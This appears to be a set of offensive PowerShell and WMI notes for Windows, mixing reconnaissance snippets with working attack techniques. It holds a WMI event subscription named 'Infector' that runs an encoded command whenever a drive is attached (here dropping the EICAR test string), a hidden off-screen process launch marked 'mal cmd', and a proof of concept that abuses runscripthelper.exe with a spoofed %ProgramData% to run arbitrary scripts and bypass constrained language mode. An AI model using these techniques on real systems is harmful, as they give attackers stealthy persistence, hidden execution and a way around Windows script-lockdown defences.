ls C:\Windows\* -Recurse -Directory -ErrorAction SilentlyContinue | % {
     try {
         $_.FullName | ls -File -ErrorAction SilentlyContinue | ? { ($_.Extension -eq '.dll') -or ($_.Extension -eq '.exe') } | % {
             try {
                 $Assembly = [Reflection.Assembly]::ReflectionOnlyLoadFrom($_.FullName)

                if ($Assembly.GetReferencedAssemblies().Name -contains 'System.Management.Automantion') {
                    $_.FullName
                }
            } catch { }
        }
    } catch { }
}

- List all running processes that have wldp.dll loaded

Get-WmiObject -Query 'ASSOCIATORS OF {CIM_DataFile.Name="c:\\windows\\system32\\wldp.dll"} WHERE AssocClass=CIM_ProcessExecutable'

- List all running processes that have wldp.dll loaded

Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" AND Path="\\Windows\\System32\\" AND (Name="C:\\Windows\\System32\\wldp.dll")' -Property Name | Get-CimAssociatedInstance -Association CIM_ProcessExecutable

- List members of the local administrator group
Get-CimInstance -ClassName Win32_Group -Filter 'SID = "S-1-5-32-544"' | Get-CimAssociatedInstance -ResultClassName Win32_Account

Get-CimInstance -ClassName Win32_Account | ForEach-Object {
    $AccountName = $_.Name

    # association graph to figure these association names out.
    $AssociatedProcesses = Get-CimAssociatedInstance -InputObject $_ -Association Win32_LoggedOnUser | Get-CimAssociatedInstance -Association Win32_SessionProcess

    # Don't bother listing users that don't have associated processes
    if ($AssociatedProcesses) {
        [PSCustomObject] @{ Account = $AccountName; Processes = $AssociatedProcesses }
    }
}

$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = 'DriveChanged'
    Query = 'SELECT * FROM Win32_VolumeChangeEvent'
    QueryLanguage = 'WQL'
}

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

$CommandLineConsumerArgs = @{
    Name = 'Infector'
    CommandLineTemplate = "powershell.exe -NoP -C`"[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt`""
}

$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

$FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer }

$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

$VideoController = Get-CimInstance -ClassName Win32_VideoController -Property VideoModeDescription
$ScreenWidth, $ScreenHeight = [UInt32[]] $VideoController.VideoModeDescription.Split(' x ', [StringSplitOptions]::RemoveEmptyEntries)[0..1]

$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{
    FillAttribute = ([UInt32] 256)
    Title = ''
    X = $ScreenWidth
    Y = $ScreenHeight
    ShowWindow = ([UInt16] 0)
}

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = 'cmd.exe'   <==== mal cmd
    ProcessStartupInformation = $StartParams
}

# Place the payload you want to execute in C:\Test\Microsoft\Diagnosis\scripts\evil.txt
# The filename can be any name and extension you want. It doesn't have to be .ps1. Hehe.
# This PoC is also a constrained language mode bypass...

# Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
# Attacker-controlled %ProgramData% being passed to the child process.
$AllEnvVarsExceptLockdownPolicy += 'ProgramData=C:\Test'

$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{
    EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy
}

# Give runscripthelper.exe what it needs to execute our malicious PowerShell.
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = 'C:\Windows\System32\runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\evil.txt C:\Test'
    ProcessStartupInformation = $StartParams
}